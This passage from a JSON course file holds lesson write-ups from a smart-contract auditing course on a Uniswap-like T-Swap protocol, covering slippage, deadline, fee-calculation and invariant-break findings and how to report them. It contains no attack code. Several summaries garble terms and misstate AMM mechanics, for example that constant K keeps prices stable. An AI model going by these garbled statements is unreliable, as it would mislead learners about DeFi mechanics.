to sell and the amount of WETH to be received by the caller.\n\nHowever, don't get too comfortable with the simplicity as the devil is in the details.\n\n## The SwapExactOutput Function\n\nThe SwapExactOutput function accepts three parameters:\n\n1. Input: Pool Tokens\n2. Output: WETH Tokens\n3. Deadline: Date and Time at which transaction is invalid\n\nThe \"Input\" which is the pool token has other variants notably \"Pool token PT\" and the \"Output\" typically represents the WETH Token amount in the Block.\n\nThe function essentially works by swapping the exact output amounts of the pool tokens to the amount of WETH by the caller.\n\nDespite the simplicity of the process, there could be flaws that exist not due to Solidity (the coding language), but because of business logic issues.\n\n## Spotting the Business Logic Issue\n\nIn our case, the SwapExactOutput function seems to have a logic flaw. It appears to be running on backward logic. Instead of an output of WETH tokens, the initial setup of the function gives an output of pool tokens. A quote from my code review captures this error perfectly:\n\n> \"So we have pool token is going to be what? Pool token is going to be the input, right? So this is going to be the pool token PT. And then we have the wet token is going to be the...the alpha token is going to be the wet token. So this should be the WETH token amount. Oh, no, this is the pool token amount. At audit, this is wrong, right? And again, this isn't like a solidity issue. This is just like a business logic issue. It's a whoops. You put the wrong thing in here.\"\n\nThis could lead to incorrect results. It would seem like instead of `SwapExactOutput`, the function `SwapExactInput` should have been used. Rather than using `Pool token`, the `Min WETH to receive` should have been used for a more accurate result.\n\n## Final Thoughts and Correction\n\nIn the exciting world of DeFi, sometimes it's not just about the Solidity. Business logic also plays a key role in the successful operation of smart contracts and functions. In our case, the logic error led to backward results. Remember, the function's purpose was to initialize trading from pool tokens to WETH tokens. However, due to this business logic flaw, it was providing results of pool tokens instead.\n\nSo there you have it, another interesting piece of code examined and explained. Coding, like any language, allows for fascinating narratives to unfold if we know how to read it.\n\nUntil next time, happy coding!\n", + "updates": [] + }, + { + "id": "e2fcfcbe-13b3-462e-a71d-c14dc086ce96", + "number": 39, + "title": "Checking The Last Few Functions", + "slug": "checking-the last-few-function", + "folderName": "39-checking-the last-few-function", + "description": "", + "duration": 2, + "videoUrl": "wd3MQiBP-HE", + "rawMarkdownUrl": "/routes/security/5-tswap/39-checking-the last-few-function/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review T-Swap Pool - Checking the last few functions\n---\n\n\n\n---\n\n# Understanding Swap: A Deep Dive into Pool Tokens and WETH\n\nIn this post, we're going to drill down into a topic that's obscure for many: Pool tokens and WETH in a Swap setting. We've already touched on these aspects a little, but they are so critical to more significant parts of DeFi that they deserve their own dedicated discussion.\n\n## Pool Tokens, Liquidity, and the WETH Equations\n\nIn a Swap context, one of the fundamental functions is what we call `getPoolTokensToDepositBasedOffWETH`. You might recall that we've discussed this function before. It operates based on a core DeFi mathematical concept: `X * Y = K`.\n\nAs a refresher, `K` is a constant value, while `X` and `Y` represent the pool balances of two cryptocurrencies, say ETH and DAI. The function's purpose is to maintain the constant `K` during a swap, which keeps the market prices stable.\n\n## Peeling Back the Layers of the Liquidity pool\n\nApart from the `getPoolTokensToDepositBasedOffWETH` function, another intriguing aspect of the system is the `totalLiquidityTokenSupply`. This term is just a more verbose way of expressing the total supply of liquidity tokens in the pool. The function, shown below, can be called to retrieve this information:\n\n## Understanding Swap Prices\n\nAn essential pair of functions that we encounter are `getPriceOfOneWETHInPoolTokens()` and `getPriceOfOnePoolTokeninWeth()`.\n\nThe first, `getPriceOfOneWETHInPoolTokens()`, calls a separate function `getOutputAmountBasedOffInput()`, which takes one WETH as input and returns the resulting number of pool tokens.\n\nIn conclusion, understanding Swap contracts, particularly those involving Pool Tokens and WETH, entails delving into these intricate details. By deploying functions like `getPoolTokensToDepositBasedOffWETH` and `getPriceOfOnePoolTokeninWETH`, users can interact seamlessly with the DeFi ecosystem.\n\nAnd as we always say:\n\n> \"The true art of coding is not in just writing code, but also in understanding other's code.”\n\nSo don't hesitate to study every function and each line of code, for they are your stepping stones to mastering DeFi and the entire world of blockchain!\n", + "updates": [] + }, + { + "id": "b631cfe3-f3b8-4a7c-b997-d8dc7526c695", + "number": 40, + "title": "Phase 4: Reporting", + "slug": "phase-4-reporting", + "folderName": "40-phase-4-reporting", + "description": "", + "duration": 5, + "videoUrl": "s9B-GVWF-2s", + "rawMarkdownUrl": "/routes/security/5-tswap/40-phase-4-reporting/+page.md", + "markdownContent": "---\ntitle: Phase 4 Reporting The first few Informationals\n---\n\n\n\n---\n\n# Decoding a Code Audit Session: Understanding the Process\n\nHello, readers!\n\nToday, we'll take a deep dive into some lessons learned from a thorough code review session. Without further ado, let's get the ball rolling!\n\n## Step 1: Reviewing the Code Base\n\nTo start off, we took an initial sweep through a code base - our first chance to spot errors, find potential areas of improvement, and generally see how things stack up.\n\n\"_Are we done yet?_\" you might ask. Well, not quite. Just like any meticulous auditing process, it's essential to ask questions as they pop up. For instance, if a variable appears to be used from its initial state, it's worth asking, \"**If it's empty, how does it warm up?**\"\n\nIt's also critical to loop back to any points of confusion or curiosity you see. Got that one lingering question begging for an answer? Mark it down, note it for later and see what comes out of a second, or even a third, look-through.\n\n## Iterative Passes: A Beginner's Best Friend\n\nHere's the clincher: you don't have to get it all on the first pass. We only had one run since we're still in the process of learning, and that's perfectly okay. Here's a simple yet crucial piece of advice:\n\n> Never hesitate to go back for another pass if you feel unsure or if there are questions left unanswered.\n\nAt the end of the day, the goal is to build a clear understanding, and rushing might just lead us away from that objective.\n\n## Step 2: Reporting Findings\n\nWith our checks and observations noted down, it's time to dive into some report writing. For the purpose of maintaining good organization, I created a new file for our findings, cleverly named \"Findings MD,\" and put it in a newly created \"audit data\" folder.\n\n```markdown\nNew File - > findings.md -> audit data folder\n```\n\nLet's break down how we can structure this report.\n\n### The Grouping of Discoveries\n\nStarting with the first finding, in our example, we found an error that wasn't actually used at all - a classic case of surplus code. Considering its nature, we classified this as an \"Informational\" finding. This categorization allows us to flag potentially important data points without necessarily marking them as critical faults or errors.\n\n```markdown\nInformational Finding: Unused Error\n```\n\nWith the help of a bookmarked layout from a previous project, the otherwise tedious task of finding organization become a simple copy-paste job.\n\n```markdown\nFinding Layout -> Copy Layout -> Paste in New File\n```\n\n### Adding Detail to Findings\n\nThe key to a helpful report lies in its detail. For the very first finding, we established a lack of use for a certain pool factory and suggested its removal. This was done by manually inserting '-pool factory' to indicate its extraneous existence.\n\n```markdown\n- Pool Factory (This is not used and should be removed)\n```\n\nSimilarly, all information points were individually detailed under their respective headers, ensuring an informative but clean look to the report.\n\n```markdown\nI2 - Lack of Zero Address ChecksI3 - Symbol, Not Name\n```\n\nAs a bonus, we even added a section for the \"Weird ERC 20\" occurances, which don't have a dedicated audit tag but are no less vital to note.\n\nAnd there you have it. The layout's simplicity and clarity make complex ideas digestible and easy to understand.\n\n## Conclusion\n\nUltimately, the code audit is a practice in thoroughness, attention to detail, and iterative learning. Along the way, you'll encounter a host of ruinous bugs, confusing variables, and, yes, even a \"Weird ERC 20\" here and there. But the key takeaway should always be this:\n\n> Always be willing to make multiple passes, make detailed notes, and never shy away from asking questions. Only then you will fully unlock the true potential of a code audit.\n\nIn the end, just know that with each pass you take, each note you make, each error you find — you're becoming a better coder for it. Good luck, and happy coding!\n", + "updates": [] + }, + { + "id": "7f782e36-a559-45fe-aa75-6baba2effdae", + "number": 41, + "title": "Reporting: Missing Deadline", + "slug": "missing-deadline-write-up", + "folderName": "41-missing-deadline-write-up", + "description": "", + "duration": 4, + "videoUrl": "TNljQB4bPbM", + "rawMarkdownUrl": "/routes/security/5-tswap/41-missing-deadline-write-up/+page.md", + "markdownContent": "---\ntitle: Missing Deadline Write up\n---\n\n\n\n---\n\n# Addressing Deadlines in TSWAP Pool Deposits\n\nToday, we dive deep into an issue that has surfaced in blockchain tech involving TSWAP, a liquidity pool. The problem here is just like the proverbial time bomb that ticks regardless of one's awareness, in this case, an unused deadline set for pool transactions, which allows for the completion of transactions past the stipulated deadline. We will discuss the issue in detail, the impact it could potentially have, and offer a possible solution. So, let's roll!\n\n## The TSWAP Pool Deposit Deadline Issue\n\nAt the center of the storm is an issue where deadlines, when set, are unused in TSWAP pool deposits. If someone sets a deadline(let's say they plan to set it to execute the next block), paradoxically they could still deposit even after that deadline, resulting in a deadline dispute.\n\nThe TSWAP pool's function for deposits is missing a functionality check for deadlines. This lapse has graspable consequences, leading to transactions being completed even after the deadline.\n\n## Breakdown of the Issue\n\nThe heart of this problem lies within the transaction **deposit function**. This function accepts a **deadline parameter**, as according to the documentation. The purpose of this parameter is to set a deadline to complete a transaction. However, this parameter is never utilized, which leads to unfortunate outcomes.\n\nTransactions that aim to add liquidity to the pool may be executed at unexpected times and under unpredictable market conditions, where the deposit rate may not be favorable. This issue can also make these transactions susceptible to MEV(Maximal Extractable Value) attacks.\n\nHere, the impact could be that transactions get sent when market conditions are not ideal for deposit, even in the presence of a deadline parameter.\n\n## Proof of Concept, and Potential Solution\n\nWe could illustrate the issue in a more demonstrable manner by writing a 'Proof of Concept' here, but we'll dive into more about 'Proof of Concepts' in later content.\n\n```markdown\n- Consider making the following adjustment to the deposit function.- We'll grab this entire function here:\n- Include a revert if the deadline has passed.\n```\n\nThis revision will cause the function to halt and revert if the deadline is exceeded.\n\nAs you can see in the preview, we've successfully included a revert function for an exceeded deadline, marking a critical step towards a viable resolution.\n\n## The Medium versus High Debate\n\nAn intriguing query came about while attending to this dilemma: is the urgency of this a high or just a medium?\n\nDiscussing the impact of the issue offers some clarity. A likelihood of transactions being executed when market conditions are unfavorable does exist, even in the presence of a deadline parameter. However, remember that this is purely a deposit, not a swap.\n\nWe're still acquiring liquidity tokens that signify ownership of the pool. Even if everyone else exited the pool, we'd still have these tokens. Consequently, it could be argued that this issue qualifies as 'medium' in terms of urgency and risk, rather than 'high'. One cannot explicitly overlook the fact, but under the abovementioned circumstances, it's fair to categorize this as a medium.\n\nIn conclusion, deadlines exist for a reason and respecting them within the blockchain world, quite like in the real world, ensures smooth transactions and user trust. Ignoring them, as seen in this TSWAP pool deposit issue, can lead to unwanted complications with potentially damaging impacts. Always stick to deadlines, folks!\n", + "updates": [] + }, + { + "id": "317d8851-ad4e-4b30-b518-58065007ed9f", + "number": 42, + "title": "Reporting Continued", + "slug": "reporting-continued", + "folderName": "42-reporting-continued", + "description": "", + "duration": 10, + "videoUrl": "kzuDQPMV9hw", + "rawMarkdownUrl": "/routes/security/5-tswap/42-reporting-continued/+page.md", + "markdownContent": "---\ntitle: Reporting Continued\n---\n\n\n\n---\n\n# Audit Deep Dive: Understanding Smart Contract Vulnerabilities\n\nWhen it comes to auditing smart contracts, there are a lot of nitty-gritty details that one needs to pay attention to in order to prevent possible vulnerabilities.\n\nThroughout this detailed walkthrough, we're going to focus on the process of identifying issues within code, their potential impact, and proposed solutions.\n\nBut before we dive in, let's address some essential concepts:\n\n- **Constants**: These are unchanging variables that are quite common within code and should always be treated as such.\n- **Informationals**: These are facts or pieces of data provided in the code intended to be helpful, but if not emitted correctly, they can cause confusion.\n- **Audit comments**: These serve as notes during code reviews, particularly useful when something needs to be addressed later.\n\n## Highlighting the Importance of Reporting\n\nDuring an audit, it's important to report anything that could potentially refactor the code to improve its overall quality. One simple way is to state \"reported\" whenever we encounter any issues in the code.\n\n## Understanding the Importance of Code Layout\n\nThe code layout plays a crucial role in readability, maintainability, and usability. It is not uncommon to suggest relocating a section of code (such as ‘audit info’) that might provide more clarity in another position.\n\n## Liquidity Add Misstep\n\nAt one point in our code, we encountered an instance where 'liquidity added' was incorrectly ordered. Missteps such as these could lead to the emission of incorrect data. To provide clarity:\n\nLiquidity added has parameters out of order.The root cause is the TSWAP pool.The event has parameters out of order, causing the event to emit incorrect information.\n\n## Severe Impact Issues\n\nWe found two severe issues during our audit:\n\n1. **Order of Parameters Issue:**\n\n In the function `addLiquidityMintAndTransfer`, a liquidity added event is emitted, but the values are logged in the wrong order:\n\n When the `liquidity added` event is emitted in the `add liquidity mint and transfer` function, it logs values in an incorrect order. The pool tokens to deposit value should go in the third parameter position, whereas the WETH to deposit value should go second.\n\n2. **Fee Calculation Error:**\n\n The `getInputAmountBasedOnOutput` function was found to have an incorrect fee calculation, which causes the protocol to take too many tokens from users:\n\n The `get input amount based on output` function in the TSWAP pool is intended to calculate the amount of tokens a user should deposit given an amount of output tokens. However, the function currently miscalculates the resulting amount when calculating the fee.\n\nBoth of these issues cause a significant detriment to the users and need immediate addressing.\n\n## Power of Writing Proof of Codes\n\nWriting 'proof of codes' is a crucial skill that every auditor should have. It helps not only in proving the existence of issues but also in testing the codebase for other potential vulnerabilities. For example, a 'proof of code' was written for the incorrect fee calculation issue to highlight how much the protocol takes as fees and the actual value.\n\n## Impact of Small Code Errors\n\nEven small errors or inconsistencies in the code can have large implications and result in incorrect information being disseminated. Such was the case with the `Swap exact input` function, where an incorrect return value was always being given(0) irrespective of the actual values.\n\nIn conclusion, auditing requires a keen eye for details, significant knowledge of smart contract coding, and a thorough understanding of possible vulnerabilities. Avoiding magic numbers, maintaining consistency in reporting, and having proficiency in writing 'proof of codes' are all crucial factors to conducting a successful audit.\n\nWe hope that this detailed walkthrough gives you perspective and jumpstarts your journey towards becoming a proficient smart contract auditor!\n", + "updates": [] + }, + { + "id": "13054677-68a6-44cc-aa34-d9eafe463071", + "number": 43, + "title": "Reporting: No Slippage Protection", + "slug": "no-slippage-protection", + "folderName": "43-no-slippage-protection", + "description": "", + "duration": 8, + "videoUrl": "TSXuFFB0kVE", + "rawMarkdownUrl": "/routes/security/5-tswap/43-no-slippage-protection/+page.md", + "markdownContent": "---\ntitle: No Slippage Protection Write up\n---\n\n\n\n---\n\n## Mitigating Slippage Impact in DeFi Protocols\n\nThe topic for today's post revolves around a crucial aspect of DeFi (Decentralized Finance) transaction executed through protocols like MetaMask. Specifically, we will be focusing on `slippage` and how a lack of protection can adversely affect the user experience.\n\n### What is Slippage and why should it concern you?\n\nIn a nutshell, slippage occurs when the execution price of a transaction is different from when the transaction was originally created. This can be due to market volatility causing rapid price changes. High slippage can result in a user receiving fewer tokens than anticipated, or, conversely, paying more than expected for a specified quantity of tokens.\n\n> If you're new to smart contracts, think of slippage like unwanted change in your transaction, which you'd prefer not to experience.\n\nBoth situations can be distressing for users, and are likely to negatively impact the trust and usability of the protocol.\n\n### Why Slippage Protection is Crucial\n\nFrom the risk perspective, we'd label this as `High` due to the potential impact. Despite the likelihood being categorized as medium to high, the severity of the potential financial loss warrants its high-risk status.\n\nAn interesting gateway to delve into this topic is through the study of `swap exact input` and `swap exact output` functions in smart contracts and their associated slippage protection measures.\n\nTake, for example, **TSWAP pool swap exact output** that lacks slippage protection. If market conditions change while a transaction is waiting to be processed, this lack of slippage protection could lead to users receiving far fewer tokens than expected.\n\nA practical manifestation would be when a user attempts to swap 10 WETH (Wrapped Ether) for DAI (a stablecoin pegged to USD). The user is expecting to get a minimum of 100 DAI, but due to the lack of slippage protection, they might end up receiving less than 100 DAI if the price of WETH depreciates before the transaction is completed.\n\n### How to Guard Against Slippage\n\nA smart contract's code can be revised to include slippage protection. This precaution will ensure that the tolerable maximum or minimum amount is strictly adhered to, despite any sudden market price changes for the involved tokens.\n\nThe way to do this is through implementing a maximum input or minimum output parameter, effectively giving a safety net for users to not receive less or pay more than expected.\n\nThe `maxAmountIn` serves as a limit for how much the user is willing to spend, introducing a safety parameter within the code.\n\n### The Importance of a Proof of Concept (POC)\n\nHaving a POC helps a lot when trying to communicate potential risks to a protocol. To illustrate, here's a simple scenario:\n\n- User initiates a `swapExactOutput` for 1 WETH (WETH=1000 USDC) with input token as USDC and output token as WETH.\n- No maximum input amount allowed, transaction is pending in mempool.\n- Market price of WETH skyrockets to 10,000 USDC.\n- User completes the transaction but is charged 10,000 USDC instead of the expected 1,000 USDC.\n\nThis excessive charge to the user occurs due to no slippage protection. Creating a POC for this scenario will not only help protocol developers understand the implications but also provide a pathway to tackle the problem.\n\nHaving a max input amount parameter ensures that users can predict how much they spend on the protocol.\n\n### Wrapping Up\n\nWhile some might argue that the user could approve fewer tokens or reject the transaction, the reality is that these aren't foolproof solutions. Protecting against slippage is critical for maintaining user trust and enhancing the protocol's usability.\n\nUnderstanding slippage and how it affects your transaction can provide significant benefits and prevent unexpected loss. The control it provides the trader can be the difference between a `successful transaction` and a `bad experience`.\n\nAlthough our focus here was on setting it to high, remember that the risk severity of every case varies, and one could always argue **contextual flexibility** based on each unique situation.\n", + "updates": [] + }, + { + "id": "6705c7ca-1ec8-4953-b7b8-e3e9e13a17f2", + "number": 44, + "title": "Reporting: Sell Pool Tokens", + "slug": "sell-pool-tokens-write-up", + "folderName": "44-sell-pool-tokens-write-up", + "description": "", + "duration": 4, + "videoUrl": "YtYnkciULlk", + "rawMarkdownUrl": "/routes/security/5-tswap/44-sell-pool-tokens-write-up/+page.md", + "markdownContent": "---\ntitle: sellPoolTokens write up\n---\n\n\n\n---\n\n# Unraveling Smart Contract Bugs: 'Sell Pool Tokens' Woes\n\nIn the chaotic and fast-paced world of blockchain programming, errors aren't just inconvenient; they can cost money. A lot of money. One notorious mistake often found in the wild is related to token swapping - that is, exchanging tokens within a liquidity pool. Today, we're diving into one high severity bug associated with a `sellPoolTokens` function.\n\nThe nature of this bug means the token swapping feature doesn't operate as expected, causing users to receive an incorrect number of tokens during transactions. Let's delve into this troublesome gaffe further.\n\n## What's Going on with 'Sell Pool Tokens'?\n\nThe `sellPoolTokens` function is designed to enable users to efficiently sell pool tokens and receive Wrapped Ether (WETH) in return. Users specify how many pool tokens they're prepared to sell via the `poolTokenAmount` parameter.\n\nHowever, this function has a miscalculation issue with the swapped amount, directly linked to the incorrect function call. The current `sellPoolTokens` function calls the `swapExactOutput` function, but it should call `swapExactInput` instead. Why is this a problem? Because users specify the precise input tokens volume, not the output.\n\n> \"Users will swap the wrong amount of tokens, which is a severe disruption of protocol functionality.\"\n\n## Breaking Down the Proof of Concept\n\nThe proof of concept for this takes form in pseudo code, illustrating the botched token swap during a `sellPoolTokens` call. We'd typically piece together a proof-of-code here to further demonstrate this issue practically.\n\n## Addressing the Bug: Recommendations for Mitigation\n\nTo tackle this damaging bug, the proposed mitigation strategy is restructuring the implementation to deploy `swapExactInput` instead of `swapExactOutput`. This, however, demands a modification to the `sellPoolTokens` function to accommodate a new parameter dubbed `minWETHtoReceive`.\n\nBut wait, there's more! Area for improvement exists beyond this immediate bug fix. It would be prudent to introduce a deadline to the function as no deadline currently exists. This is a crucial topic for later exploration in the blog series, particularly when we delve into Miner Extractable Value (MEV). For the time being, though, we'll set this to one side.\n\nThe `sellPoolTokens` bug is, rather deceptively, a compelling example of how small errors can disrupt the functionality of decentralized protocols dramatically. By presenting the concept and outlining potential solutions, we hope to contribute to more robust, secure, and user-friendly DeFi platforms.\n\nLet's keep debugging!\n", + "updates": [] + }, + { + "id": "3bed02c1-41e4-4860-bbe7-ff32160fa6ac", + "number": 45, + "title": "Reporting: Invariant Break & PoC", + "slug": "invariant-break-write-up-and-poc", + "folderName": "45-invariant-break-write-up-and-poc", + "description": "", + "duration": 9, + "videoUrl": "nakLPgo5twk", + "rawMarkdownUrl": "/routes/security/5-tswap/45-invariant-break-write-up-and-poc/+page.md", + "markdownContent": "---\ntitle: Invariant Break Write up and PoC\n---\n\n\n\n---\n\n# Fuzz Testing: The Key to Proof of Code\n\nThis blog post is going to take you on a journey through the layers of code to uncover the details of proof-of-the-coding process, with an emphasis on fuzz testing.\n\n## Fuzz Testing: What it is and why we need it?\n\nAccording to the [Software Engineering Institute](https://resources.sei.cmu.edu/asset_files/WhitePaper/2016_019_001_466377.pdf) at the Carnegie Mellon University, fuzz testing (or simply fuzzing) is an automated dynamic testing approach that generates and runs many random inputs to a target program. It's efficient and does a great job at highlighting potential errors, but the use of fuzz tests as proof of code is problematic.\n\n> \"This is because the sequences that they generate can be quite complex and hard to understand - not to mention, they may not necessarily lead to the most efficient code. It can be downright baffling, especially for less experienced developers.\"\n\nAs a workaround, we need to take the output of the fuzz test and mold it into a more reader-friendly format. The goal here is to convert the fuzz test output into a unit test that clearly illustrates how the protocol should rectify the issue.\n\n## Creating a Universal Proof of Code\n\nLet's illustrate this by trying to rectify a protocol invariant error.\n\nThe fuzz test, in this case, shows that it only takes **ten swaps** to break the invariant. Hence, our next step is creating a **new unit test** to replicate these swaps.\n\n## Decoding the Fuzz Test Output\n\nTo better understand the issue at hand, frame a `testInvariantBrokenProof` function based on the fuzz test output.\n\nCreate a sequence of swaps, replicating the fuzz test output. Start with performing only one swap to verify that the code correctly detects a deviation from the norm. Remember to keep verifying the result at each step.\n\nIf all runs smoothly, increase the number of swaps. In this example, we increment it to **nine swaps**.\n\n## Reflect, Retest, Report!\n\nAfter the completion of your revised unit test, it's time to document the results.\n\n_\"Always start your report with a detailed description of the issue at hand. Explain the root cause, provide a description, and elaborate the impact it can cause. This helps provide a comprehensive understanding of the problem.\"_\n\nOnce that is complete, present your Proof of Concept, diligently highlighting all steps and intricacies of your solution. By this point, you should have a detailed and well-stated report laid out.\n\n## Wrap Up!\n\nOne of the last yet crucial parts of the report is to provide potential mitigation strategies. They could include removing the incentive or keeping it, but accounting for a change in the protocol invariant. Regardless, it is essential to offer actionable recommendations that work best not only at maintaining the protocol's functionality but also at preventing potential breaking of their core invariant.\n\nBy breaking it down into digestible pieces and providing both context and clear instruction, we can transform the cryptic output of fuzz tests into a proof of code that every team member can readily understand.\n", + "updates": [] + }, + { + "id": "5b32ca72-ccda-4365-a1b5-59ecfa62371e", + "number": 46, + "title": "Reporting: Weird Erc20", + "slug": "writeup-weird-erc20", + "folderName": "46-writeup-weird-erc20", + "description": "", + "duration": 4, + "videoUrl": "uRah95okGiY", + "rawMarkdownUrl": "/routes/security/5-tswap/46-writeup-weird-erc20/+page.md", + "markdownContent": "---\ntitle: Write up Weird ERC20 You Try This\n---\n\n\n\n---\n\n# Unveiling the Mystery of Tokens while Penning an Audit Report for TSWAP\n\nCracking the codes and giving insight into the deep trenches of developmental methods, we're all set to discuss and dig into the topic of tokens. For us, ERC20s proved to be peculiar to work with, challenging some of our pre-established perceptions and notions. We're going to rewind a little and talk about the one crucial aspect we didn't happen to discuss in detail, the token matter.\n\n## Unpacked: The Token Hidden Conundrum\n\nAn interesting observation was that we didn't host this test on a TSWAP pool. Let me take you back to our chapter on the TSWAP pool. This episode demonstrated our swap function falling apart, breaking the invariant as an extra transfer was conducted in the process.\n\n> Blockquote: Diving into this will reveal that the fee-on-transfer tokens echo the same effect, transmitting extra tokens. Remember, when the fee-on-transfer tokens come into play, they pose a threat to the protocol invariance, demanding attention.\n\n## Transparency - The Token Assassins\n\nHere's an interesting fact - in the TSWAP audit GitHub repository associated with this course, we unfolded some significant details.\n\n```markdown\nGo to - Audit Data -> README -> Bottom Page\n```\n\nThis process reveals two audits previously conducted for the Uniswap v1. Further venturing into the Uniswap v1 audit report fashioned by Consensus Diligence, we found several issues with websites and liquidity.\n\nThe v1 of Uniswap suffered a condition where the liquidity pool could be hijacked by certain tokens, for instance, ERC777.\n\n> Think of these tokens as smoke and mirrors. If these tokens paved the way for reentrancies on the transfer, the liquidity could be drained, leaving us high and dry. The introduction of these strange ERC20s into the original Uniswap v1 caused series of issues for protocols.\n\n## The TSWAP Paradox\n\nWhat's worth noting is that these confusing ERC20s are a significant issue in DFI. They can be a handful to work with due to their distinct characteristics. It might seem enticing if they were all similar, but alas, that's not the case. This issue tends to pop up often, particularly in competitive audits, as many protocols are oblivious to this aspect.\n\n## Drafting the Audit Report\n\nIn our discoveries, our conclusive medium (not fully penned down) anticipates additional exploration and experimentation from you. Accept the challenge and bask in the experience of creating proof codes and get playful with the process.\n\nSurprisingly, you'll come across these familiar ERC20s repeatedly. It almost feels as though they're playing peekaboo, secretly popping out at the most unexpected times.\n\n## Conclusion\n\nThere's a great deal of satisfaction in unlayering these complexities and jotting down findings. The ordeal of wielding together an audit report surprisingly paves the way to add more to our developmental platter. The report initiates the process of understanding and recognising the challenges and solutions in protocol handling, making the world of tokens and audits a little less complicated and a lot more intriguing.\n", + "updates": [] + }, + { + "id": "fdca1d04-2481-4cbb-8657-27747fa56f3d", + "number": 47, + "title": "Creating Pdf For Your Portfolio", + "slug": "creating-pdf-for-your-portfolio", + "folderName": "47-creating-pdf-for-your-portfolio", + "description": "", + "duration": 4, + "videoUrl": "JEhPE3k7wGM", + "rawMarkdownUrl": "/routes/security/5-tswap/47-creating-pdf-for-your-portfolio/+page.md", + "markdownContent": "---\ntitle: Creating the PDF for your Portfolio\n---\n\n\n\n---\n\n# Building an Audit Report: A Step by Step Tutorial\n\nBecoming proficient in creating an audit report involves mastering certain techniques. Throughout this post, you'll learn how to create an audit report tailored to your unique needs using available resources and Markdown tools.\n\n![](https://cdn.videotap.com/y8C5WoYeGfIBalrcsQSJ-11.25.png)\n\n## Step 1: Importing Files\n\nBefore we venture any further, we must first import the files we need. For instance, we've previously used a logo PDF file in our audit data folder, which you can easily repeat. Scope out your directories for relevant files before you start crafting your report.\n\n## Step 2: Leveraging the Audit Report Template\n\nDon't start creating your report from scratch! Utilize available templates to help guide you in building an informative and detailed review. You can find a well-crafted audit report template on our course page. To get the template, go back to the course, scroll upwards until you come across the template.\n\nSimply copy the content from the raw version of the template and paste it into your new file called 'Report Template MD'.\n\n## Step 3: Tailoring the Report\n\nHaving a template is splendid, but personalizing it to suit your audit changes the game. Let's rename the report template to '2020 311 one' and let's call it 'TSWAP audit MD'.\n\nFeel free to insert the findings of your audit into the document. Let's add findings, a summary of the issues discovered and any recommendations you may have under the sections provided in the template.\n\n> _Remember your findings should be as descriptive and detailed as possible to provide the most value._\n\nTo enhance your portfolio even further, spend some time writing up explanatory notes and if you had collaboration during the audit process, feel free to add their findings as well.\n\n## Step 4: Updating the Details\n\nTaking the time to update information accordingly is definitely vital. You might need to add audit details, scope, and list the issues you encountered. To visualize some parts of your report, say the risk classifications, you can include charts. Simply grab any chart you find illustrative enough and paste it into the report.\n\nFor example, you can provide the severity level of the identified issues found during your audit. We're going to say we found four high-risk issues, two of medium risk, and two of low risk. Informational issues can be many.\n\n## Step 5: Finalizing and Converting the Report\n\nHaving updated the details, now is the perfect time to finalize your report. Set the report title, include your name(s), add protocol summary, risk classification, and audit scope details.\n\nTo convert the markdown file into a professional-looking PDF document, we can use [pandoc](https://pandoc.org/getting-started.html), a very useful document converter.\n\nAnd voila! Your PDF audit report is generated and ready for presentation, filled with detailed findings and code snippets.\n\n![](https://cdn.videotap.com/gTjSzByU5kxK3CrXUbph-174.38.png)\n\n## Step 6: Displaying Your Report\n\nWith the diligent work done, it's time to share your accomplishment to the world. Update your GitHub with the audit report or include a new report in your portfolio. Constantly creating and adding audit reports boosts your portfolio and betters your skills.\n\nA job well done! By completing this tutorial, you've learnt to create a detailed, personalized audit report. Incredibly, through conducting audits, you've also gained substantive knowledge of DeFi protocols.\n\nRemarkably, as we go through smart contracts- like the T-swap contract, a variation of Uniswap, you also gain substantial understanding of decentralized exchanges at the fundamental level.\n\nTaking on real-world tutorials like these not only equip you with practical auditing skills but also provide you with a strong foundation in the fast-growing field of Decentralised Finance (DeFi).\n\n> \"We're not just teaching you how to conduct audits. We're also teaching you DeFi along the way. Very sneaky, aren't we?\"\n", + "updates": [] + }, + { + "id": "64901db8-395b-4ac7-a32c-a884c6189d02", + "number": 48, + "title": "Recap", + "slug": "recap", + "folderName": "48-recap", + "description": "", + "duration": 8, + "videoUrl": "ORI4w4DY1J4", + "rawMarkdownUrl": "/routes/security/5-tswap/48-recap/+page.md", + "markdownContent": "---\ntitle: Recap\n---\n\n\n\n---\n\n# DeFi Security Auditing – A Recap\n\nHey there! If you've been with us from the start of our series on DeFi Security Auditing, congratulations on reaching this point! This is going to be a recap encompassing everything you've learned so far in the course. In case you missed out on something, don’t worry, let's walk through them again.\n\n## Protocol Invariants – Your Secret Weapon\n\nFirst and foremost, we realized that understanding protocol invariants is crucial in locating bugs hidden in our code bases. We don’t even need to explore the code base deeply or conduct a tedious manual review. We found how we can write an invariant or a stateful fuzzing test suite, which pointed out a bug in the swap function – a process without any manual review.\n\nIn essence, the tooling, particularly stateful fuzzing, is a powerful mechanism for bug detection.\n\n## Unfolding the AMM Mystery\n\nWe touched upon the underlying fundamentals of an AMM, or Automated Market Maker, and what a DEX (Decentralised Exchange). Even though the T-Swap audit revolves around a fictitious protocol, its foundation is based on Uniswap and follows exactly the same X times Y equals K principle.\n\nWe learned that the AMM works without an order book. It simply uses token pools, and to extract tokens from one side, tokens need to be added to the other side, maintaining the balance. Everyone is on the lookout for a platform where every swap transaction means money in their purses.\n\n## Understanding the Uniswap Protocol\n\nBoiling down the core mechanisms of the Uniswap protocol, X multiplied by Y equals K is the mathematical model where K is a constant, ensuring the token ratio remains unchanged. Every time you wish to take a token, you need to provide an equivalent amount back.\n\nDealing with a protocol like an AMM where math is the crux of the system, the importance of invariants is highlighted.\n\n## Identifying Client Requirements\n\nEarlier, the absence of illustrative graphs and even the lacking of documentation for some functions made working somewhat daunting. But over time, we've learned that we need to function hand-in-hand with the protocol. They always have the inside story, and understanding their needs is indispensable.\n\nOur comprehensive client onboarding document illustrates this point, particularly the section about T-SWAP having onboarded. We learned that onboarding our protocols and obtaining as much information as possible is of utmost importance.\n\nA case in point would be their low test coverage, an issue we'd definitely want them to address. They churn out multiple ERC20s. And if you don't know by now, ERC20s are pretty wacky. Understanding this helps to architecturally protect the protocol from the peculiarities of these ERC20s.\n\nWe also learned that it's not advisable to work with any and every ERC20. Instead, a restriction list or documentation indicating potentially problematic tokens (like rebasing tokens, fiat transfer tokens, reentrancy tokens) is a good practice. Hence, an extensive onboarding document and deep client interaction can take you a long way.\n\n## Keeping Invariants in Check\n\nOur journey took us through understanding what protocol invariants are – they represent those attributes of the system that must always remain constant. We learned to write fuzzing or stable fuzzing tests to go hand in hand with them.\n\nReferencing the Freepy model where protocol invariant checks are directly embedded into the system, Uniswap stands as a good example of such a system. In stark contrast was the Euler finance attack, where the 